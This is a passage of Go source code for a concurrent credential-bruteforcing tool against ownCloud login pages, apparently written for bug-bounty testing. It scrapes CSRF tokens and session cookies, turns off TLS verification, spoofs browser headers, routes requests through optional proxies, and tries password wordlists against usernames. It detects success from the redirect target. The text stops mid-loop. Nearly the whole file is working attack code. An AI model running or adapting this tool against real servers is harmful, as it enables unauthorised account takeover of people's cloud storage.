package main import ( "fmt" "net/http" "os" "io" "time" "regexp" "strings" "net/url" "crypto/tls" "bufio" "sync" // "runtime" // "encoding/json" // "iouti" ) func getCSRFtoken(url string) (token,cookie string) { // + cookie http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} //TODO make it at least a bit look legit (add headers, etc) res,err := http.Get(url) errHandler(err, "can't connect to server") bodyChar, err := io.ReadAll(res.Body) res.Body.Close() errHandler(err, "can't read body of CSRF request") body := string(bodyChar) rTok, _ := regexp.Compile("data-requesttoken=\".*\"") token = rTok.FindString(body) token = strings.TrimPrefix(token,"data-requesttoken=\"") token = strings.TrimSuffix(token,"\"") //TODO cookie // token = urlEncode(token) //No need, token automatically encoded in POST request by net/http rCookie, _ := regexp.Compile("oc.{10}=.{26};|logged_in=no;|_octo=.{28}|oc_sessionPassphrase=.*; e") for key,val := range res.Header { if key == "Set-Cookie" { cookie = strings.Join(rCookie.FindAllString(strings.Join(val, " "), -1), " ") cookie = strings.TrimSuffix(cookie,"; e") // cookie = strings.Join(val, " ") } // fmt.Println(key, " ",val) } return token, cookie } func urlEncode(input string) string { return url.QueryEscape(input) } func tryPassword(link,proxy,token,cookie,user,pass string) bool { //TODO header var client = &http.Client{} if proxy != "" { proxyUrl, err := url.Parse(proxy) errHandler(err, "wrong proxy url") http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)} client = &http.Client{ Timeout: time.Second * 10, Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl),TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } } else { client = &http.Client{ Timeout: time.Second * 10, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}, CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } } data := url.Values{ "user": {user}, "password": {pass}, "timezone-offset": {"3"}, "timezone": {"Europe%2FMinsk"}, "requesttoken": {token}, } req, err := http.NewRequest("POST" ,link, strings.NewReader(data.Encode())) errHandler(err, "can't create (POST) request") req.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7") req.Header.Add("Connection", "keep-alive") req.Header.Add("Cache-Control", "max-age=0") req.Header.Add("sec-ch-ua", "\"Not(A:Brand\";v=\"24\", \"Chromium\";v=\"122\"") req.Header.Add("sec-ch-ua-mobile", "?0") req.Header.Add("sec-ch-ua-platform", "\"Linux\"") req.Header.Add("Upgrade-Insecure-Requests", "1") req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36") req.Header.Add("Origin", "null") req.Header.Add("Cookie", cookie) req.Header.Add("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Accept-Encoding", "Accept-Encoding: gzip, deflate, br") req.Header.Add("Sec-Fetch-Site", "same-origin") req.Header.Add("Sec-Fetch-Mode", "navigate") req.Header.Add("Sec-Fetch-User", "?1") req.Header.Add("Sec-Fetch-Dest", "document") req.Header.Add("Accept-Language", "en-US,en;q=0.9") req.Header.Add("bugbounty", "owncloud_bruteforcer") response, err := client.Do(req) errHandler(err, "can't create (POST) request") defer response.Body.Close() // Print response body // body, _ := io.ReadAll(response.Body) // fmt.Println(string(body)) // We detect successful login with 303 redirect Location header. If it rederects to .*/apps/files then we got right login. I guess exception - 2FA //TODO var location303 string for key,val := range response.Header { if key == "Location" { location303 = strings.Join(val," ") } } if strings.Contains(location303,"apps/files") { return true } else { return false } } func errHandler(err error, message string) { if err != nil { fmt.Printf("%s: %s\n", message, err) os.Exit(1) } } var waitGroup sync.WaitGroup func main() { options,err := ParseOptions() errHandler(err,"Error parsing options") //for GET request (func getCSRFtoken) if options.Proxy != "" { http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true} proxyUrl, err := url.Parse(options.Proxy) errHandler(err, "wrong proxy") http.DefaultTransport = &http.Transport{Proxy: http.ProxyURL(proxyUrl)} } //TODO add check for owncloud page var usernames *bufio.Scanner // fmt.Println(options.UserFile,options.PassFile) // fmt.Println(options) if options.UserFile != "" { userFile,err := os.Open(options.UserFile) errHandler(err,"Can't read username wordlist") usernames = bufio.NewScanner(userFile) usernames.Split(bufio.ScanLines) } // main loop if options.UserFile != "" { for usernames.Scan() { user := usernames.Text() fmt.Println("User -",user) options.bruteforce(user) // runtime.GC() //TODO might a hack to free memory, need to learn more where it's allocated. My guess it's channel. P.S. Yep, it is } } else { options.bruteforce(options.User) } //TODO progress bar would be nice. Or some counter of requests } func (options Options) bruteforce(user string) { passFile,err := os.Open(options.PassFile) errHandler(err,"Can't read password wordlist") passwords := bufio.NewScanner(passFile) passwords.Split(bufio.ScanLines) // pass := make(chan string, 15000001) // rockyou - 14,344,391 pass := make(chan string, 1000) // primarly we need big enough buffer to prevent slowdown for workers, so we kinda expect less then 1000 workers/threads go func() { for passwords.Scan() { //TODO BUG constantly rereads file to write it to channel. Better way would be to write it in string/[]string var and then from it write to channel. Doubles memory but we don't rely on reading file from HDD which might be busy slowing down burteforce pass <- string(passwords.Text()) } close(pass) }() var foundPass = false // for _ := range options.Threads { for i:=0; i